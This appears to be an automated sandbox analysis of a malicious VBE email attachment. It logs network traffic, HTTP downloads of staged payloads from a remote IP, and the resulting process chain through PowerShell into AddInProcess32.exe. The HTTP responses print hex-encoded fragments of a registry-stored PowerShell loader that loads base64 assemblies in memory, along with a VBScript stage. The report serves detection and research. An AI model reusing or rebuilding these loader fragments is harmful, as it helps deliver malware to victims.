Aug 29, 2024 18:37:00.064743042 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.064757109 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.064769030 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.064816952 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.065871954 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.065885067 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.065934896 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.068162918 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.068180084 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.068226099 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.069498062 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.069510937 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.069560051 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.071089983 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.071105003 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.071115017 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.071150064 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.071163893 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.072359085 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.072371960 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.072413921 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.073242903 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.073255062 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.073296070 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.074654102 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.074666023 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.074703932 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.075419903 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.075433016 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.075473070 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.076844931 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.076858044 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.076915026 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.078130960 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.078636885 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.078649044 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.078695059 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.079400063 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.079412937 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.079458952 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.081136942 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.081150055 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.081198931 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.092869997 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.092966080 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.093287945 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.093300104 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.093338013 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.094647884 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.094660997 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.094702005 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.096060991 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.096074104 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.096115112 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.097639084 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.097654104 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.097664118 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.097712040 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.098850965 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.098865032 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.098918915 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.101450920 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.101537943 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.322772980 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.328202963 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.520952940 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.548715115 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.553889990 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.744687080 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.744945049 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.744965076 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.745012045 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:00.745851040 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.745862961 CEST	80	49710	144.91.79.54	192.168.2.6
Aug 29, 2024 18:37:00.745908976 CEST	49710	80	192.168.2.6	144.91.79.54
Aug 29, 2024 18:37:01.309767008 CEST	49710	80	192.168.2.6	144.91.79.54

HTTP Request Dependency Graph

144.91.79.54

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49710	144.91.79.54	80	5716	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Aug 29, 2024 18:36:57.835489035 CEST	176	OUT	GET /2508/s HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Language: en-CH User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: 144.91.79.54
Aug 29, 2024 18:36:58.558868885 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 29 Aug 2024 16:36:58 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Wed, 28 Aug 2024 22:32:13 GMT ETag: "7000-620c5ee00454e" Accept-Ranges: bytes Content-Length: 28672 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Data Raw: 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 [TRUNCATED] Data Ascii: 4141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414
Aug 29, 2024 18:36:58.559431076 CEST	1236	IN	Data Raw: 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 Data Ascii: 141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141
Aug 29, 2024 18:36:58.559469938 CEST	1236	IN	Data Raw: 33 33 31 34 37 36 35 36 37 34 44 35 38 35 41 36 45 35 36 34 37 36 32 37 30 35 41 35 38 36 31 37 39 34 32 34 36 35 41 36 43 35 32 33 33 36 33 36 43 35 36 35 38 36 33 36 43 34 41 34 38 35 30 36 37 34 31 34 33 34 39 36 37 34 31 34 33 34 39 34 42 33 Data Ascii: 3314765674D585A6E564762705A58617942465A6C5233636C5658636C4A485067414349674143494B30675035525861795633596C4E485067414349676F51442B49694D323553627A466D4F7439325974516E5A764E3362794E5761743179636831575A6F4E326336346D63314A53507A35476274684849765A
Aug 29, 2024 18:36:58.561745882 CEST	1236	IN	Data Raw: 31 34 31 34 31 35 31 34 31 34 31 36 46 34 31 34 31 34 31 34 31 34 31 34 31 34 31 36 43 34 32 34 31 36 35 34 31 35 35 34 37 34 31 37 35 34 31 37 37 35 41 34 31 36 33 34 37 34 31 36 44 34 32 36 37 35 41 34 31 36 33 34 37 34 31 36 45 34 32 34 31 34 Data Ascii: 141415141416F414141414141416C424165415547417541775A416347416D42675A416347416E4241414155474174425159413447416C424162416B474147424162414547417542516141634741704267634138454142417743413444414141414141414141414177634173474179425159413047416C42415A
Aug 29, 2024 18:36:58.561758041 CEST	1236	IN	Data Raw: 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 34 31 33 34 34 37 34 31 37 36 34 32 35 31 36 31 34 31 35 31 34 38 34 31 36 38 34 32 34 31 36 32 34 31 34 44 34 38 34 31 37 35 34 32 35 31 35 39 34 31 34 39 34 38 34 31 35 35 34 32 34 31 34 31 34 31 35 Data Ascii: 14141414141414141344741764251614151484168424162414D4841754251594149484155424141415141416B414141414141417642675A413447414A42515A41774741704267524149484168426756414541414141415241414141414141414141414141414141414141414241414141514141414141414141
Aug 29, 2024 18:36:58.563810110 CEST	1236	IN	Data Raw: 39 35 41 36 45 35 41 36 44 35 41 36 45 36 34 34 37 35 38 36 45 35 36 36 45 35 39 36 43 35 32 34 35 35 38 37 31 34 41 33 32 36 32 36 33 34 36 33 32 36 32 37 33 37 38 35 36 35 39 37 32 36 43 33 32 36 31 36 38 36 38 34 37 35 38 37 37 33 39 34 37 36 Data Ascii: 95A6E5A6D5A6E6447586E566E596C524558714A32626346326273785659726C32616868475877394764724E585A45786C627031475A687831637956326356786C4F444241414145416F352B6F496C577535542B55636B4434506E38345354523055534241414141414141414141414141414141414141414241
Aug 29, 2024 18:36:58.563821077 CEST	1236	IN	Data Raw: 39 34 32 35 38 35 39 37 36 34 45 36 43 34 43 37 41 37 38 33 32 36 32 36 41 33 39 34 37 36 34 37 36 34 41 34 38 35 35 37 35 34 44 35 38 35 41 36 41 36 43 36 44 36 34 37 39 35 36 33 32 35 35 37 35 34 39 35 37 35 41 35 38 33 35 35 33 36 32 36 43 35 Data Ascii: 9425859764E6C4C7A7832626A394764764A4855754D585A6A6C6D64795632557549575A583553626C523363354E464E414551594141414141416741414541434141414D75416A4C3334794E786767637652585979566D626C64555A736C6D526C78325A756C32557A646D62705248646C4E6C4C79566D626E6C
Aug 29, 2024 18:36:58.566282034 CEST	1236	IN	Data Raw: 31 34 37 35 33 34 31 34 31 34 31 34 35 33 30 36 45 34 35 34 32 34 35 34 31 34 31 34 36 33 30 36 45 34 35 34 31 34 31 34 31 34 32 33 35 34 41 34 32 34 31 34 31 35 31 34 31 34 41 35 33 34 31 34 31 34 31 34 35 33 30 36 43 34 35 34 31 34 31 34 31 34 Data Ascii: 1475341414145306E454245414146306E4541414142354A42414151414A5341414145306C45414141424949424141514144534141414549774143454A675355684249776945474D414753597741394A6842446B6E45474D414A5345414B5355684248306C454267694556597742494952416F49524647634144
Aug 29, 2024 18:36:58.566293001 CEST	1236	IN	Data Raw: 35 34 41 37 38 34 31 34 38 36 33 34 31 34 41 35 33 34 35 37 37 34 32 34 35 33 30 36 43 34 35 34 32 36 33 34 31 34 32 34 39 34 39 35 32 34 31 34 38 35 31 34 31 34 31 35 34 34 31 34 31 34 39 34 35 37 37 36 37 34 35 34 32 36 33 34 31 34 32 36 42 34 Data Ascii: 54A78414863414A5345774245306C454263414249495241485141415441414945776745426341426B4952416F49524647306C4542676945565941435345414B535568424D4952416F495246473467444F3451414541794239455241424153424F34514143415342434551416751674442454149454552454245
Aug 29, 2024 18:36:58.570626974 CEST	1236	IN	Data Raw: 37 34 31 37 33 34 32 35 31 35 39 34 31 33 30 34 37 34 31 37 30 34 32 37 37 35 39 34 31 35 35 34 37 34 31 36 42 34 32 35 31 35 39 34 31 34 44 34 38 34 31 36 43 34 32 34 31 34 39 34 31 34 35 34 37 34 31 36 45 34 32 36 37 36 32 34 31 36 42 34 37 34 Data Ascii: 741734251594130474170427759415547416B425159414D48416C424149414547416E426762416B474179424164414D484167415159417747417342515A4151474167415159416F48413642515A416747416E4267624155484173424149414547414D464841414D48416C4277594149484131427762414D4841
Aug 29, 2024 18:36:58.576998949 CEST	1236	IN	Data Raw: 32 34 41 35 38 35 41 35 34 34 41 35 38 35 41 37 33 36 43 34 37 36 33 37 34 33 39 33 32 35 31 37 35 34 44 35 37 36 31 37 41 34 36 36 44 35 31 37 33 34 36 35 37 36 34 37 41 36 43 36 44 35 36 37 35 35 31 36 45 35 41 37 36 34 45 33 33 36 32 37 39 34 Data Ascii: 24A585A544A585A736C476374393251754D57617A466D51734657647A6C6D5675516E5A764E3362794E57614E4277636C4E5761324A585A5442336279564764756C6B4C6C31576130355764533553626C523363354E46417A563259705A6E636C4E6C62766C4764684E57617342486342357959704E58594378
Aug 29, 2024 18:36:58.763782024 CEST	176	OUT	GET /2508/r HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Language: en-CH User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: 144.91.79.54
Aug 29, 2024 18:36:59.289067030 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 29 Aug 2024 16:36:58 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Sun, 25 Aug 2024 00:50:37 GMT ETag: "8c00-62077658a4a62" Accept-Ranges: bytes Content-Length: 35840 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Data Raw: 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 [TRUNCATED] Data Ascii: 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Aug 29, 2024 18:36:59.382869005 CEST	199	OUT	GET /2508/u9icZZB5Fm5owWojnw5Q.txt HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Language: en-CH User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: 144.91.79.54
Aug 29, 2024 18:36:59.603091002 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 29 Aug 2024 16:36:59 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Sun, 25 Aug 2024 22:14:56 GMT ETag: "8cc00-6208956a856d0" Accept-Ranges: bytes Content-Length: 576512 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/plain Data Raw: 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 [TRUNCATED] Data Ascii: 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Aug 29, 2024 18:37:00.322772980 CEST	176	OUT	GET /2508/v HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Language: en-CH User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: 144.91.79.54
Aug 29, 2024 18:37:00.520952940 CEST	761	IN	HTTP/1.1 200 OK Date: Thu, 29 Aug 2024 16:37:00 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Fri, 16 Aug 2024 03:14:55 GMT ETag: "1de-61fc45d0b8951" Accept-Ranges: bytes Content-Length: 478 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Data Raw: 37 42 35 42 37 44 34 31 37 30 37 30 34 34 36 46 36 44 36 31 36 39 36 45 37 42 35 44 37 44 33 41 33 41 34 33 37 35 37 32 37 32 36 35 36 45 37 34 34 34 36 46 36 44 36 31 36 39 36 45 32 45 34 43 36 46 36 31 36 34 37 42 32 38 37 44 35 42 34 33 36 46 36 45 37 36 36 35 37 32 37 34 37 42 35 44 37 44 33 41 33 41 34 36 37 32 36 46 36 44 34 32 36 31 37 33 36 35 33 36 33 34 35 33 37 34 37 32 36 39 36 45 36 37 37 42 32 38 37 44 37 42 32 38 37 44 32 44 36 41 36 46 36 39 36 45 32 30 37 42 32 38 37 44 34 37 36 35 37 34 32 44 34 39 37 34 36 35 36 44 35 30 37 32 36 46 37 30 36 35 37 32 37 34 37 39 32 30 32 44 34 43 36 39 37 34 36 35 37 32 36 31 36 43 35 30 36 31 37 34 36 38 32 30 32 37 34 38 34 42 34 33 35 35 33 41 35 43 35 33 36 46 36 36 37 34 37 37 36 31 37 32 36 35 35 43 37 43 37 30 36 31 37 34 36 38 37 43 32 37 32 30 32 44 34 45 36 31 36 44 36 35 32 30 32 37 37 33 32 37 37 42 32 39 37 44 32 45 37 33 32 30 37 43 32 30 34 36 36 46 37 32 34 35 36 31 36 33 36 38 32 44 34 46 36 32 36 41 36 35 36 33 37 34 32 30 37 42 [TRUNCATED] Data Ascii: 7B5B7D417070446F6D61696E7B5D7D3A3A43757272656E74446F6D61696E2E4C6F61647B287D5B436F6E766572747B5D7D3A3A46726F6D426173653634537472696E677B287D7B287D2D6A6F696E207B287D4765742D4974656D50726F7065727479202D4C69746572616C506174682027484B43553A5C536F6674776172655C7C706174687C27202D4E616D65202773277B297D2E73207C20466F72456163682D4F626A656374207B7B7D245F7B5B7D2D312E2E2D7B287D245F2E4C656E6774687B297D7B5D7D7B7D7D7B297D7B297D7B297D3B207B5B7D612E617B5D7D3A3A617B287D277C706174687C277B297D
Aug 29, 2024 18:37:00.548715115 CEST	179	OUT	GET /2508/file HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Language: en-CH User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: 144.91.79.54
Aug 29, 2024 18:37:00.744687080 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 29 Aug 2024 16:37:00 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Wed, 21 Aug 2024 05:14:58 GMT ETag: "1030-6202a9f95545c" Accept-Ranges: bytes Content-Length: 4144 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Data Raw: 34 46 37 30 37 34 36 39 36 46 36 45 32 30 34 35 37 38 37 30 36 43 36 39 36 33 36 39 37 34 30 41 32 37 34 45 36 46 36 44 32 30 36 34 37 35 32 30 37 30 37 32 36 46 36 41 36 35 37 34 33 41 32 30 37 43 37 30 36 31 37 34 36 38 37 43 30 41 32 37 32 30 34 39 36 45 36 39 37 34 36 39 36 31 36 43 36 39 37 33 36 31 37 34 36 39 36 46 36 45 32 30 36 34 36 35 37 33 32 30 36 46 36 32 36 41 36 35 37 34 37 33 32 30 36 35 37 34 32 30 37 36 36 31 37 32 36 39 36 31 36 32 36 43 36 35 37 33 30 41 34 34 36 39 36 44 32 30 36 37 36 35 37 33 37 34 36 39 36 46 36 45 36 45 36 31 36 39 37 32 36 35 35 33 36 38 36 35 36 43 36 43 32 43 32 30 37 32 36 35 37 30 36 35 37 32 37 34 36 46 36 39 37 32 36 35 35 33 37 39 37 33 37 34 36 35 36 44 36 35 32 43 32 30 36 39 37 34 36 35 37 32 36 31 37 34 36 39 36 46 36 45 30 41 35 33 36 35 37 34 32 30 36 37 36 35 37 33 37 34 36 39 36 46 36 45 36 45 36 31 36 39 37 32 36 35 35 33 36 38 36 35 36 43 36 43 32 30 33 44 32 30 34 33 37 32 36 35 36 31 37 34 36 35 34 46 36 32 36 41 36 35 36 33 37 34 32 38 [TRUNCATED] Data Ascii: 4F7074696F6E204578706C696369740A274E6F6D2064752070726F6A65743A207C706174687C0A2720496E697469616C69736174696F6E20646573206F626A657473206574207661726961626C65730A44696D2067657374696F6E6E616972655368656C6C2C207265706572746F69726553797374656D652C20697465726174696F6E0A5365742067657374696F6E6E616972655368656C6C203D204372656174654F626A6563742822575363726970742E5368656C6C22290A7265706572746F69726553797374656D65203D2067657374696F6E6E616972655368656C6C2E457870616E64456E7669726F6E6D656E74537472696E677328222577696E6469722522290A0A2720466F6E6374696F6E20706F75722076E9726966696572206C276578E9637574696F6E206427756E2070726F6365737375730A46756E6374696F6E2050726F6365737375734573744163746966286E6F6D447550726F636573737573290A2020202044696D2067657374696F6E6E61697265574D492C206C6973746544657350726F6365737375730A202020205365742067657374696F6E6E61697265574D49203D204765744F626A656374282277696E6D676D74733A5C5C2E5C726F6F745C63696D763222290A20202020536574206C6973746

Target ID:	0
Start time:	12:36:56
Start date:	29/08/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\01_COVER_LETTER_-_FOR_E_PAYMENT.vbe"
Imagebase:	0x7ff6a1960000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	2
Start time:	12:37:01
Start date:	29/08/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\AppData\Roaming\mBUojysElnsNYdM.vbs"
Imagebase:	0x7ff6a1960000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	3
Start time:	12:37:02
Start date:	29/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	12:37:02
Start date:	29/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	12:37:07
Start date:	29/08/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Imagebase:	0xce0000
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
